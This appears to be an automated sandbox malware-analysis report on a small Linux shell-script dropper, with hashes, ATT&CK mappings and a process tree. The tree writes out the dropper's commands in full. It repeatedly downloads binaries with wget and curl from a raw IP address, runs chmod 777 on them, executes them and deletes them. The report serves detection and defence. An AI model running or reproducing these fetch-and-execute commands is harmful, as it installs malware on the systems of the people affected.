4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1

Analysis

max time kernel
6s
max time network
8s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23/08/2026, 03:00

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General

Target
4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1.sh
Size 1KB
Sample260823-dhkmrsscjb
SHA256 4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1
MD5 5891a3b775787f57f826a93e63bf2842
SHA1 4d6c1cac6a9fbe0d6a2762520e273aba71e9ff8b
SHA512 0696cc522d4d191340784669c4835717831d16eadc3959122e5f64dc1f553e3552361afabdde2aeb6173cb941e9aeaff84b0a709b8057cdd59bae52ddf382216
TLSH
T1D1311ACA01141A712103EA8E7372754C728DA1FB29AAD7D4AC184EA9E38D7DCF165B4D
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
815	chmod
836	chmod
684	chmod
699	chmod
706	chmod
746	chmod
692	chmod
725	chmod
771	chmod
779	chmod
786	chmod
793	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/79b9bb	686	4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1.sh
/tmp/fda874	693	4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1.sh
/tmp/f631b8	700	4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1.sh
/tmp/8ce186	707	4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1.sh
/tmp/0a3774	727	4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1.sh
/tmp/d6f38d	748	4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1.sh
/tmp/f12e02	772	4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1.sh
/tmp/db1416	780	4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1.sh
/tmp/c0c73b	787	4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1.sh
/tmp/ff88d4	796	4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1.sh
/tmp/d1f63b	817	4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1.sh
/tmp/fd6861	838	4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/8ce186	curl
File opened for modification	/tmp/d6f38d	curl
File opened for modification	/tmp/db1416	curl
File opened for modification	/tmp/c0c73b	curl
File opened for modification	/tmp/ff88d4	curl
File opened for modification	/tmp/d1f63b	curl
File opened for modification	/tmp/79b9bb	curl
File opened for modification	/tmp/0a3774	curl
File opened for modification	/tmp/f12e02	curl
File opened for modification	/tmp/fd6861	curl
File opened for modification	/tmp/fda874	curl
File opened for modification	/tmp/f631b8	curl

/tmp/4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1.sh
/tmp/4909bae183457de34a8f6fd69d8a06310355ee6285b2147b93426d4bcbe5ddd1.sh
1⤵
- Executes dropped EXE
PID:656
- /usr/bin/wget
  wget http://5.182.210.174/79b9bb
  2⤵
  PID:661
- /usr/bin/curl
  curl -O http://5.182.210.174/79b9bb
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:674
- /bin/chmod
  chmod 777 79b9bb
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/79b9bb
  ./79b9bb bc
  2⤵
  PID:686
- /bin/rm
  rm -rf 79b9bb
  2⤵
  PID:688
- /bin/rm
  rm -rf 79b9bb.1
  2⤵
  PID:689
- /usr/bin/wget
  wget http://5.182.210.174/fda874
  2⤵
  PID:690
- /usr/bin/curl
  curl -O http://5.182.210.174/fda874
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:691
- /bin/chmod
  chmod 777 fda874
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/fda874
  ./fda874 bc
  2⤵
  PID:693
- /bin/rm
  rm -rf fda874
  2⤵
  PID:695
- /bin/rm
  rm -rf fda874.1
  2⤵
  PID:696
- /usr/bin/wget
  wget http://5.182.210.174/f631b8
  2⤵
  PID:697
- /usr/bin/curl
  curl -O http://5.182.210.174/f631b8
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:698
- /bin/chmod
  chmod 777 f631b8
  2⤵
  - File and Directory Permissions Modification
  PID:699
- /tmp/f631b8
  ./f631b8 bc
  2⤵
  PID:700
- /bin/rm
  rm -rf f631b8
  2⤵
  PID:702
- /bin/rm
  rm -rf f631b8.1
  2⤵
  PID:703
- /usr/bin/wget
  wget http://5.182.210.174/8ce186
  2⤵
  PID:704
- /usr/bin/curl
  curl -O http://5.182.210.174/8ce186
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:705
- /bin/chmod
  chmod 777 8ce186
  2⤵
  - File and Directory Permissions Modification
  PID:706
- /tmp/8ce186
  ./8ce186 bc
  2⤵
  PID:707
- /bin/rm
  rm -rf 8ce186
  2⤵
  PID:710
- /bin/rm
  rm -rf 8ce186.1
  2⤵
  PID:712
- /usr/bin/wget
  wget http://5.182.210.174/0a3774
  2⤵
  PID:713
- /usr/bin/curl
  curl -O http://5.182.210.174/0a3774
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:719
- /bin/chmod
  chmod 777 0a3774
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/0a3774
  ./0a3774 bc
  2⤵
  PID:727
- /bin/rm
  rm -rf 0a3774
  2⤵
  PID:730
- /bin/rm
  rm -rf 0a3774.1
  2⤵
  PID:731
- /usr/bin/wget
  wget http://5.182.210.174/d6f38d
  2⤵
  PID:733
- /usr/bin/curl
  curl -O http://5.182.210.174/d6f38d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod 777 d6f38d
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/d6f38d
  ./d6f38d bc
  2⤵
  PID:748
- /bin/rm
  rm -rf d6f38d
  2⤵
  PID:751
- /bin/rm
  rm -rf d6f38d.1
  2⤵
  PID:752
- /usr/bin/wget
  wget http://5.182.210.174/f12e02
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://5.182.210.174/f12e02
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:764
- /bin/chmod
  chmod 777 f12e02
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/f12e02
  ./f12e02 bc
  2⤵
  PID:772
- /bin/rm
  rm -rf f12e02
  2⤵
  PID:774
- /bin/rm
  rm -rf f12e02.1
  2⤵
  PID:775
- /usr/bin/wget
  wget http://5.182.210.174/db1416
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://5.182.210.174/db1416
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /bin/chmod
  chmod 777 db1416
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/db1416
  ./db1416 bc
  2⤵
  PID:780
- /bin/rm
  rm -rf db1416
  2⤵
  PID:782
- /bin/rm
  rm -rf db1416.1
  2⤵
  PID:783
- /usr/bin/wget
  wget http://5.182.210.174/c0c73b
  2⤵
  PID:784
- /usr/bin/curl
  curl -O http://5.182.210.174/c0c73b
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/chmod
  chmod 777 c0c73b
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/c0c73b
  ./c0c73b bc
  2⤵
  PID:787
- /bin/rm
  rm -rf c0c73b
  2⤵
  PID:789
- /bin/rm
  rm -rf c0c73b.1
  2⤵
  PID:790
- /usr/bin/wget
  wget http://5.182.210.174/ff88d4
  2⤵
  PID:791
- /usr/bin/curl
  curl -O http://5.182.210.174/ff88d4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:792
- /bin/chmod
  chmod 777 ff88d4
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/ff88d4
  ./ff88d4 bc
  2⤵
  PID:796
- /bin/rm
  rm -rf ff88d4
  2⤵
  PID:798
- /bin/rm
  rm -rf ff88d4.1
  2⤵
  PID:800
- /usr/bin/wget
  wget http://5.182.210.174/d1f63b
  2⤵
  PID:802
- /usr/bin/curl
  curl -O http://5.182.210.174/d1f63b
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/chmod
  chmod 777 d1f63b
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/d1f63b
  ./d1f63b bc
  2⤵
  PID:817
- /bin/rm
  rm -rf d1f63b
  2⤵
  PID:819
- /bin/rm
  rm -rf d1f63b.1
  2⤵
  PID:821
- /usr/bin/wget
  wget http://5.182.210.174/fd6861
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://5.182.210.174/fd6861
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:829
- /bin/chmod
  chmod 777 fd6861
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/fd6861
  ./fd6861 bc
  2⤵
  PID:838
- /bin/rm
  rm -rf fd6861
  2⤵
  PID:840
- /bin/rm
  rm -rf fd6861.1
  2⤵
  PID:841

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

79b9bb

Path /tmp/79b9bb
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads